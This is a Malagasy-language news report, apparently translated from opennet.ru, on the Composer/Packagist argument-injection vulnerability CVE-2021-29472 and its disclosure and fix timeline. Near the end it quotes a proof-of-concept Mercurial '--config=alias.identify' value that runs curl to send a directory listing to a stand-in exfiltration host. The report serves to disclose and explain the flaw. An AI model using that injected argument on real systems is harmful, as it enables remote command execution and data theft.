Ny vulnerability ao amin'ny mpitantana fonosana Composer izay mamela ny tahiry Packagist PHP ho voatohintohina

Misy vulnerability (CVE-2021-29472) hita ao amin'ny mpitantana ny fiankinan-doha amin'ny Composer izay mamela ny baiko tsy manara-penitra hotanterahina amin'ny rafitra rehefa manamboatra fonosana misy sanda URL voalamina manokana izay mamaritra ny adiresy hisintonana ny kaody loharano. Ny olana dia miseho amin'ny singa GitDriver, SvnDriver, ary HgDriver ampiasaina rehefa mampiasa rafitra fanaraha-maso loharano Git, Subversion, ary Mercurial. Ny vulnerability dia voavaha tamin'ny famoahana ny Composer 1.10.22 sy 2.0.13.

Marihina manokana fa ny olana dia niantraika indrindra tamin'ny fitahirizana fonosana default an'ny Composer, Packagist, izay misy fonosana 306 ho an'ny mpamorona PHP ary manolotra fampidinana mihoatra ny 1.4 miliara isam-bolana. Nasehon'ny andrana fa raha misy ny fahalalana ny olana, dia afaka mifehy ny fotodrafitrasa Packagist ny mpanafika ary manakana ny fahazoan-dàlana ho an'ny mpikarakara na mamindra ny fampidinana fonosana mankany amin'ny mpizara antoko fahatelo, mandamina ny fandefasana ireo karazana fonosana miaraka amin'ny fanovana ratsy hanoloana varavarana aoriana. nandritra ny dingana fametrahana ny fiankinan-doha.

Ny loza ho an'ny mpampiasa farany dia voafetra amin'ny hoe ny votoatin'ny composer.json dia matetika no mamaritra ny mpampiasa, ary ny rohy loharano dia ampitaina rehefa miditra amin'ny tranokalan'ny antoko fahatelo, izay matetika azo itokisana. Ny kapoka lehibe dia nianjera tamin'ny tahiry Packagist.org sy ny serivisy Packagist Private, izay antsoina hoe Composer miaraka amin'ny famindrana angon-drakitra voaray avy amin'ireo mpampiasa. Ny mpanafika dia afaka manatanteraka ny kaody ao amin'ny mpizara Packagist amin'ny fametrahana fonosana manokana.

Ny ekipa Packagist dia nanamboatra ny vulnerable tao anatin'ny 12 ora taorian'ny nitaterana ny vulnerability. Nampandrenesina manokana ireo mpamorona Packagist ireo mpikaroka tamin'ny 22 aprily, ary raikitra ny olana tamin'io andro io ihany. Navoaka tamin'ny 27 aprily ny fanavaozana ampahibemaso ho an'ny Composer miresaka momba ny vulnerable, miaraka amin'ny antsipiriany nambara tamin'ny 28 aprily. Ny fanaraha-maso ny logs amin'ny server Packagist dia tsy nahitana hetsika mampiahiahy mifandraika amin'ny vulnerability.

Ny olana dia vokatry ny bibikely ao amin'ny kaody fanamarinana URL ao amin'ny fisie composer.json root sy rohy fampidinana loharano. Efa nisy ny fahadisoana tao amin'ny kaody nanomboka tamin'ny Novambra 2011. Packagist dia mampiasa sosona manokana handaminana ny fametahana kaody nefa tsy mifamatotra amin'ny rafitra fanaraha-maso loharano manokana, izay tanterahina amin'ny fiantsoana ny "fromShellCommandline" sy ny fandefasana ny tohan-kevitry ny baiko. Ohatra, ho an'ny git, ny baiko "git ls-remote -heads $URL" dia antsoina, izay anaovana ny URL amin'ny alàlan'ny fomba "ProcessExecutor::escape($url)", mandositra ny fananganana mety hampidi-doza toy ny "$(. ..)" na "` ...`".

Ny fototry ny olana dia ny fomba ProcessExecutor::escape dia tsy afa-nandositra ny filaharana "-", izay namela ny mari-pamantarana antso fanampiny ho voafaritra ao amin'ny URL. Ny fandosirana toy izany dia tsy hita tao amin'ny GitDriver.php, SvnDriver.php ary HgDriver.php mpamily. Ny fanafihana GitDriver.php dia voasakantsakan'ny hoe ny baiko "git ls-remote" dia tsy nanohana ny fanondroana hevitra fanampiny aorian'ny lalana. Ny fanafihana HgDriver.php dia hita fa azo natao tamin'ny alàlan'ny fandefasana ny "--config" paramètre amin'ny fitaovana "hq", izay ahafahanao mandamina ny fanatanterahana ny baiko rehetra amin'ny alàlan'ny fanodikodinana ny "alias.identify". Ohatra, raha misintona sy manatanteraka kaody amin'ny alàlan'ny fampandehanana ny utility curl dia azonao atao ny mamaritra: —config=alias.identify=!curl http://exfiltration-host.tld —data “$(ls -alh)”

Tamin'ny fandefasana fonosana fitsapana misy URL mitovy amin'ny Packagist, nohamarinin'ny mpikaroka fa taorian'ny nandefasana azy dia nahazo fangatahana HTTP avy amin'ny iray amin'ireo mpizara Packagist ao amin'ny AWS misy lisitry ny rakitra ao amin'ny lahatahiry ankehitriny ny mpizara azy.

Source: opennet.ru

Add a comment